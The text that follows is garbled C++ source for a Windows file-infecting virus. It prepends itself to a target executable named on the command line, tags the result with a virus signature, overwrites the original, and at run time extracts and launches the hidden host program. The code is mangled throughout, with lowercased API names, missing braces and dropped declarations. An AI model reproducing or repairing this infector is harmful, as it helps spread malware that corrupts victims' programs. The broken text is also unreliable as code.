TM V
TM V
h"
#include "windows.h"
#include "iostream.h"
#include "fstream.h"
struct virus_struct
dword file_size;
char sig[4];
};
virus_struct v_s;
char * app_path()
hinstance hi = getmodulehandle(null);
getmodulefilename(hi,path,1024);
return path;
win32_find_data fd;
findfirstfile(path,&fd);
return fd.nfilesizelow;
if(!f)
return (char*)null;
char ch;
int pos=0;
while(f.get(ch))
fileram[pos] = ch;
pos++;
return fileram;
char * get_temp_file()
char wintemp_path[1024];
gettemppath(1024,wintemp_path);
gettempfilename(wintemp_path,virus_temp_sig,1234,temp_path);
return temp_path;
if(!source_file)
return 0;
if(!dest_file)
return 0;
ofstream fout(temp_file,ios::binary);
if(!fout)
return 0;
fout.write(source_file,get_file_size(source));
fout.write(dest_file,get_file_size(dest));
v_s.file_size = get_file_size(dest) ;
strcpy(v_s.sig,virus_sig);
fout.close();
if(!copyfile(temp_file,dest,false))
return 0;
return 1;
virus_struct *check_if_effected()
fin.seekg(get_file_size(app_path())-sizeof(virus_struct),ios::beg);
fin.read((char*)vs,sizeof(virus_struct));
fin.close();
if(!strcmp(vs->sig,virus_sig))
return vs;
return null;
void extract_file()
ifstream fin(app_path(),ios::binary);
fin.seekg(get_file_size(app_path())-sizeof(virus_struct));
fin.read((char*)vs,sizeof(virus_struct));
fin.seekg(get_file_size(app_path())-vs->file_size-sizeof(virus_struct),ios::beg);
//seek to begging of infected file
fin.read(infect_file_data,vs->file_size);
fin.close();
char * infect_file_path = get_temp_file();
ofstream fout(infect_file_path,ios::binary);
fout.write(infect_file_data,vs->file_size);
fout.close();
winexec(infect_file_path,sw_normal);
if(!vs)
else
extract_file();
if(argc==1)
return 0;
if(!infect_file(app_path(),argv[1]))
{
return 0;